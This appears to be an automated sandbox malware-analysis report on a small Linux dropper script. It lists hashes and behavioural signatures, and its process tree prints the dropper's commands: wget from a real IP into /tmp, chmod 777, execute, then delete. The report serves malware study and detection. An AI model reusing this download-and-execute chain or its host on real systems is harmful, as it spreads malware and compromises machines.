Analysis
-
max time kernel
21064s -
max time network
135s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09-08-2022 11:50
Static task
static1
Behavioral task
behavioral1
Sample
b
Resource
ubuntu1804-amd64-en-20211208
Behavioral task
behavioral2
Sample
b
Resource
debian9-armhf-en-20211208
Behavioral task
behavioral3
Sample
b
Resource
debian9-mipsbe-en-20211208
Behavioral task
behavioral4
Sample
b
Resource
debian9-mipsel-en-20211208
General
-
Target
b
-
Size
449B
-
MD5
1b6c2e23804389fb3c4a9ddcce882f5d
-
SHA1
0c086d7aa61e5c5a4de5c4e4d769c9c7440c8bbd
-
SHA256
ffe9a29f878e5f4858347527510d65fd8d9d59a071dfb7a5d6ee8ce64394819a
-
SHA512
8a4300b60ee626a8b7a9719ee1b16378802a3989f78ad895c4f3c17d385a0ae76d3113c50095b343f7836db5b7356e31f342afecf199c005d3ee2f26d40d741a
Malware Config
Signatures
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
Processes:
description ioc /etc/hosts /etc/hosts -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Enumerates kernel/hardware configuration 1 TTPs 2 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
indexindexdescription ioc process /sys/kernel/mm/transparent_hugepage/hpage_pmd_size /sys/kernel/mm/transparent_hugepage/hpage_pmd_size index /sys/kernel/mm/transparent_hugepage/hpage_pmd_size /sys/kernel/mm/transparent_hugepage/hpage_pmd_size index -
Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes:
indexindexdescription ioc process /proc/sys/net/core/somaxconn /proc/sys/net/core/somaxconn index /proc/self/exe /proc/self/exe index /proc/self/exe /proc/self/exe index /proc/stat /proc/stat index -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
bwgetrmrmdescription ioc process /tmp/b /tmp/b b /tmp/index /tmp/index wget /tmp/index /tmp/index rm /tmp/index /tmp/index rm
Processes
-
/tmp/b/tmp/b1⤵
- Writes file to tmp directory
-
/usr/bin/wgetwget http://103.16.170.89:8080/docs/Ls -O /tmp/index2⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 /tmp/index2⤵
-
/tmp/index/tmp/index2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/tmp/index/tmp/index3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/bin/sleepsleep 22⤵
-
/bin/rmrm -rf /tmp/index2⤵
- Writes file to tmp directory
-
/bin/rmrm -rf "/tmp/index "2⤵
- Writes file to tmp directory
-
/usr/bin/whoamiwhoami2⤵